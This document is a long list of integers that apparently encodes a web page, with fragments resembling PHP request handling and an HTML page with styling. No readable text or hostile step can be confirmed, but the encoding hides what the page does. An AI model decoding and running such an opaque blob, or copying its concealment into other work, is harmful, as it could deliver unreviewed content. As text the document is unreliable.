94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 85, 94, 92, 90, 88, 66, 17, 29, 85, 94, 92, 90, 88, 66, 21, 25, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 104, 90, 75, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 93, 94, 91, 90, 78, 85, 77, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 110, 83, 80, 83, 84, 76, 83, 25, 72, 81, 82, 80, 82, 92, 91, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 82, 83, 82, 77, 82, 90, 85, 25, 73, 90, 77, 81, 25, 91, 84, 87, 25, 127, 104, 25, 17, 93, 94, 88, 84, 93, 94, 25, 81, 94, 65, 25, 91, 87, 84, 86, 25, 124, 126, 109, 18, 25, 31, 20, 54, 63, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 25, 6, 25, 82, 72, 72, 94, 77, 17, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 18, 25, 4, 25, 17, 72, 77, 87, 82, 83, 92, 18, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 15, 25, 28, 28, 0, 54, 63, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 77, 81, 25, 25, 6, 25, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 25, 26, 6, 6, 25, 28, 28, 25, 4, 25, 78, 81, 94, 65, 17, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 18, 25, 15, 25, 29, 120, 110, 119, 119, 126, 115, 109, 0, 54, 63, 29, 72, 77, 90, 77, 94, 105, 90, 77, 81, 25, 25, 25, 25, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 77, 81, 18, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 0, 54, 63, 4, 3, 54, 63, 5, 26, 93, 84, 88, 77, 66, 73, 94, 25, 81, 77, 86, 85, 3, 54, 63, 5, 81, 77, 86, 85, 25, 85, 90, 83, 92, 6, 39, 94, 83, 39, 3, 54, 63, 5, 81, 94, 90, 93, 3, 54, 63, 5, 86, 94, 77, 90, 25, 88, 81, 90, 87, 72, 94, 77, 6, 39, 78, 77, 91, 22, 1, 39, 25, 20, 3, 54, 63, 5, 86, 94, 77, 90, 25, 83, 90, 86, 94, 6, 39, 75, 82, 94, 76, 73, 84, 87, 77, 39, 25, 88, 84, 83, 77, 94, 83, 77, 6, 39, 76, 82, 93, 77, 81, 6, 93, 94, 75, 82, 88, 94, 22, 76, 82, 93, 77, 81, 21, 82, 83, 82, 77, 82, 90, 85, 22, 72, 88, 90, 85, 94, 6, 10, 39, 25, 20, 3, 54, 63, 5, 77, 82, 77, 85, 94, 3, 201, 164, 181, 129, 25, 112, 122, 108, 119, 110, 112, 116, 5, 20, 77, 82, 77, 85, 94, 3, 54, 63, 54, 63, 5, 85, 82, 83, 80, 25, 81, 87, 94, 91, 6, 39, 81, 77, 77, 73, 72, 15, 20, 20, 91, 84, 83, 77, 72, 19, 92, 84, 84, 92, 85, 94, 90, 73, 82, 72, 19, 88, 84, 86, 20, 88, 72, 72, 23, 4, 91, 90, 86, 82, 85, 66, 6, 111, 82, 85, 85, 90, 16, 104, 85, 90, 103, 15, 76, 92, 81, 77, 121, 13, 9, 9, 0, 14, 9, 9, 0, 12, 9, 9, 27, 93, 82, 72, 73, 85, 90, 66, 6, 72, 76, 90, 73, 39, 25, 87, 94, 85, 6, 39, 72, 77, 66, 85, 94, 72, 81, 94, 94, 77, 39, 3, 54, 63, 54, 63, 5, 72, 77, 66, 85, 94, 3, 54, 63, 15, 87, 84, 84, 77, 64, 54, 63, 25, 25, 22, 22, 88, 10, 15, 24, 12, 1, 13, 1, 13, 1, 0, 25, 22, 22, 88, 23, 15, 24, 125, 1, 2, 9, 2, 9, 0, 25, 22, 22, 88, 8, 15, 24, 12, 11, 11, 13, 14, 7, 0, 25, 22, 22, 88, 13, 15, 24, 122, 1, 11, 9, 12, 1, 0, 25, 22, 22, 88, 14, 15, 24, 13, 12, 13, 8, 13, 120, 0, 54, 63, 25, 25, 22, 22, 103, 92, 15, 24, 10, 94, 10, 93, 23, 23, 0, 25, 22, 22, 73, 90, 83, 94, 85, 15, 24, 23, 90, 23, 1, 8, 9, 0, 25, 22, 22, 94, 87, 87, 15, 24, 91, 91, 11, 103, 11, 103, 0, 25, 22, 22, 84, 80, 15, 24, 14, 1, 88, 2, 1, 103, 0, 25, 22, 22, 76, 90, 87, 83, 15, 24, 91, 91, 88, 88, 11, 11, 0, 54, 63, 25, 25, 22, 22, 87, 90, 93, 82, 78, 72, 15, 10, 13, 73, 65, 0, 25, 22, 22, 72, 81, 90, 93, 84, 76, 15, 9, 25, 10, 9, 73, 65, 25, 8, 9, 73, 65, 25, 87, 92, 103, 90, 17, 9, 21, 9, 21, 9, 21, 19, 8, 14, 18, 0, 54, 63, 70, 54, 63, 31, 64, 103, 84, 65, 22, 72, 82, 79, 82, 83, 92, 15, 103, 84, 87, 93, 94, 87, 22, 103, 84, 65, 70, 54, 63, 81, 77, 86, 85, 21, 103, 84, 93, 66, 64, 81, 94, 82, 92, 81, 77, 15, 10, 9, 9, 30, 70, 54, 63, 103, 84, 93, 66, 64, 25, 86, 90, 87, 92, 82, 83, 15, 9, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 39, 111, 82, 85, 85, 90, 25, 104, 85, 90, 103, 39, 21, 25, 72, 66, 72, 77, 94, 86, 22, 78, 82, 21, 25, 22, 90, 73, 73, 85, 94, 22, 72, 66, 72, 77, 94, 86, 21, 25, 104, 94, 92, 84, 94, 25, 110, 114, 21, 25, 119, 84, 103, 84, 77, 84, 21, 25, 39, 113, 94, 85, 75, 94, 77, 82, 88, 90, 25, 115, 94, 78, 94, 39, 21, 25, 122, 87, 82, 90, 85, 21, 25, 39, 115, 84, 77, 84, 25, 104, 90, 83, 72, 39, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 104, 90, 83, 72, 39, 21, 25, 72, 90, 83, 72, 22, 72, 94, 87, 82, 91, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 103, 92, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 13, 91, 10, 91, 11, 0, 25, 70, 54, 63, 19, 76, 87, 90, 73, 73, 94, 87, 64, 25, 86, 90, 65, 22, 76, 82, 93, 77, 81, 15, 10, 10, 9, 9, 73, 65, 0, 25, 86, 90, 87, 92, 82, 83, 15, 8, 23, 73, 65, 25, 90, 78, 77, 84, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 9, 25, 10, 11, 73, 65, 0, 25, 70, 54, 63, 54, 63, 19, 81, 94, 90, 93, 94, 87, 64, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 23, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 10, 11, 73, 65, 0, 54, 63, 25, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 10, 13, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 72, 73, 90, 88, 94, 22, 103, 94, 77, 76, 94, 94, 83, 0, 54, 63, 70, 54, 63, 19, 103, 87, 90, 83, 93, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 23, 73, 65, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 19, 85, 84, 92, 84, 64, 25, 76, 82, 93, 77, 81, 15, 25, 13, 9, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 25, 13, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 10, 9, 73, 65, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 25, 81, 82, 93, 93, 94, 83, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 77, 87, 90, 83, 72, 73, 90, 87, 94, 83, 77, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 19, 85, 84, 92, 84, 25, 82, 86, 92, 64, 25, 76, 82, 93, 77, 81, 15, 25, 10, 9, 9, 30, 0, 25, 81, 94, 82, 92, 81, 77, 15, 25, 10, 9, 9, 30, 0, 25, 84, 103, 95, 94, 88, 77, 22, 91, 82, 77, 15, 25, 88, 84, 83, 77, 90, 82, 83, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 25, 103, 85, 84, 88, 80, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 81, 10, 64, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 1, 73, 65, 0, 25, 86, 90, 87, 92, 82, 83, 15, 9, 0, 25, 85, 94, 77, 77, 94, 87, 22, 72, 73, 90, 88, 82, 83, 92, 15, 19, 8, 73, 65, 70, 54, 63, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 64, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 25, 87, 82, 92, 81, 77, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 93, 82, 87, 94, 88, 77, 82, 84, 83, 15, 88, 84, 85, 78, 86, 83, 0, 25, 92, 90, 73, 15, 11, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 91, 85, 94, 65, 22, 94, 83, 93, 0, 25, 70, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 25, 19, 103, 90, 93, 92, 94, 64, 54, 63, 25, 25, 93, 82, 72, 73, 85, 90, 66, 15, 82, 83, 85, 82, 83, 94, 22, 103, 85, 84, 88, 80, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 10, 23, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 11, 94, 2, 94, 91, 0, 54, 63, 25, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 23, 73, 65, 0, 25, 85, 82, 83, 94, 22, 81, 94, 82, 92, 81, 77, 15, 10, 19, 8, 94, 86, 0, 54, 63, 70, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 25, 19, 103, 90, 93, 92, 94, 25, 88, 84, 93, 94, 64, 25, 88, 84, 85, 84, 87, 15, 24, 91, 91, 91, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 25, 78, 82, 22, 86, 84, 83, 84, 72, 73, 90, 88, 94, 21, 25, 104, 123, 118, 84, 83, 84, 22, 119, 94, 92, 78, 85, 90, 87, 21, 25, 118, 94, 83, 85, 84, 21, 25, 120, 84, 83, 72, 84, 85, 90, 72, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 118, 84, 83, 84, 39, 21, 25, 86, 84, 83, 84, 72, 73, 90, 88, 94, 0, 25, 70, 54, 63, 54, 63, 19, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 64, 54, 63, 25, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 23, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 73, 90, 83, 94, 85, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 9, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 54, 63, 25, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 76, 87, 90, 73, 15, 76, 87, 90, 73, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 54, 63, 70, 54, 63, 19, 88, 87, 78, 86, 103, 21, 25, 19, 88, 87, 78, 86, 103, 19, 88, 78, 87, 87, 94, 83, 77, 64, 54, 63, 25, 25, 77, 94, 65, 77, 22, 93, 94, 88, 84, 87, 90, 77, 82, 84, 83, 15, 83, 84, 83, 94, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 9, 94, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 11, 94, 2, 94, 91, 0, 54, 63, 25, 25, 77, 87, 90, 83, 72, 82, 77, 82, 84, 83, 15, 25, 90, 85, 85, 25, 19, 10, 14, 72, 25, 94, 90, 72, 94, 22, 82, 83, 22, 84, 78, 77, 0, 54, 63, 70, 54, 63, 19, 88, 87, 78, 86, 103, 15, 81, 84, 75, 94, 87, 64, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 23, 14, 70, 54, 63, 19, 88, 87, 78, 86, 103, 19, 88, 78, 87, 87, 94, 83, 77, 64, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 23, 1, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 91, 91, 0, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 9, 9, 9, 9, 9, 9, 13, 13, 70, 54, 63, 19, 88, 87, 78, 86, 103, 22, 72, 94, 73, 64, 84, 73, 90, 88, 82, 77, 66, 15, 19, 11, 70, 54, 63, 54, 63, 19, 73, 90, 83, 94, 85, 64, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 73, 90, 83, 94, 85, 18, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 90, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 81, 82, 93, 93, 94, 83, 0, 25, 70, 54, 63, 54, 63, 19, 77, 84, 84, 85, 103, 90, 87, 64, 54, 63, 25, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 91, 85, 94, 65, 22, 76, 87, 90, 73, 15, 76, 87, 90, 73, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 22, 103, 84, 77, 77, 84, 86, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 90, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 90, 23, 12, 8, 9, 0, 54, 63, 70, 54, 63, 19, 103, 77, 83, 64, 54, 63, 25, 25, 90, 73, 73, 94, 90, 87, 90, 83, 88, 94, 15, 83, 84, 83, 94, 0, 25, 103, 84, 87, 93, 94, 87, 15, 83, 84, 83, 94, 0, 25, 88, 78, 87, 72, 84, 87, 15, 73, 84, 82, 83, 77, 94, 87, 0, 54, 63, 25, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 13, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 23, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 13, 18, 18, 0, 54, 63, 25, 25, 88, 84, 85, 84, 87, 15, 24, 23, 2, 10, 103, 23, 9, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 0, 54, 63, 25, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 9, 25, 11, 73, 65, 25, 10, 13, 73, 65, 25, 24, 9, 9, 9, 9, 9, 9, 13, 14, 21, 25, 82, 83, 72, 94, 77, 25, 9, 25, 10, 73, 65, 25, 9, 25, 24, 91, 91, 91, 91, 91, 91, 14, 14, 0, 54, 63, 25, 25, 77, 87, 90, 83, 72, 82, 77, 82, 84, 83, 15, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 25, 19, 9, 11, 72, 25, 94, 90, 72, 94, 21, 25, 91, 82, 85, 77, 94, 87, 25, 19, 23, 72, 25, 94, 90, 72, 94, 0, 54, 63, 70, 54, 63, 19, 103, 77, 83, 15, 81, 84, 75, 94, 87, 64, 25, 91, 82, 85, 77, 94, 87, 15, 103, 87, 82, 92, 81, 77, 83, 94, 72, 72, 17, 10, 19, 9, 14, 18, 25, 70, 54, 63, 19, 103, 77, 83, 15, 90, 88, 77, 82, 75, 94, 64, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 15, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 10, 73, 65, 18, 25, 70, 54, 63, 19, 103, 77, 83, 19, 72, 94, 88, 84, 83, 93, 90, 87, 66, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 1, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 23, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 10, 94, 12, 94, 90, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 11, 9, 9, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 70, 54, 63, 19, 82, 83, 73, 78, 77, 21, 25, 19, 91, 82, 85, 94, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 103, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 10, 91, 10, 93, 23, 8, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 9, 0, 25, 70, 54, 63, 54, 63, 19, 77, 90, 103, 85, 94, 22, 76, 87, 90, 73, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 90, 78, 77, 84, 25, 70, 54, 63, 77, 90, 103, 85, 94, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 85, 90, 73, 72, 94, 15, 72, 94, 73, 90, 87, 90, 77, 94, 0, 25, 103, 84, 87, 93, 94, 87, 22, 72, 73, 90, 88, 82, 83, 92, 15, 9, 0, 25, 70, 54, 63, 77, 81, 94, 90, 93, 25, 77, 81, 64, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 85, 94, 91, 77, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 25, 10, 13, 73, 65, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 13, 73, 65, 0, 25, 73, 84, 72, 82, 77, 82, 84, 83, 15, 72, 77, 82, 88, 80, 66, 0, 25, 77, 84, 73, 15, 9, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 8, 23, 10, 23, 2, 0, 25, 79, 22, 82, 83, 93, 94, 65, 15, 10, 0, 25, 70, 54, 63, 77, 103, 84, 93, 66, 25, 77, 93, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 77, 84, 73, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 23, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 14, 73, 65, 0, 25, 70, 54, 63, 77, 87, 15, 81, 84, 75, 94, 87, 25, 77, 93, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 9, 11, 25, 70, 54, 63, 19, 77, 66, 73, 94, 22, 103, 90, 93, 92, 94, 64, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 23, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 13, 73, 65, 25, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 10, 13, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 70, 54, 63, 19, 83, 90, 86, 94, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 23, 9, 9, 73, 65, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 64, 25, 76, 82, 93, 77, 81, 15, 23, 1, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 23, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 1, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 92, 87, 82, 93, 0, 25, 73, 85, 90, 88, 94, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 13, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 8, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 18, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 13, 13, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 19, 91, 84, 85, 93, 94, 87, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 8, 18, 18, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 19, 91, 82, 85, 94, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 13, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 23, 18, 18, 0, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 9, 73, 65, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 8, 73, 65, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 19, 93, 90, 83, 92, 94, 87, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 94, 87, 87, 18, 21, 25, 24, 93, 8, 14, 13, 14, 13, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 23, 103, 10, 9, 10, 9, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 19, 86, 78, 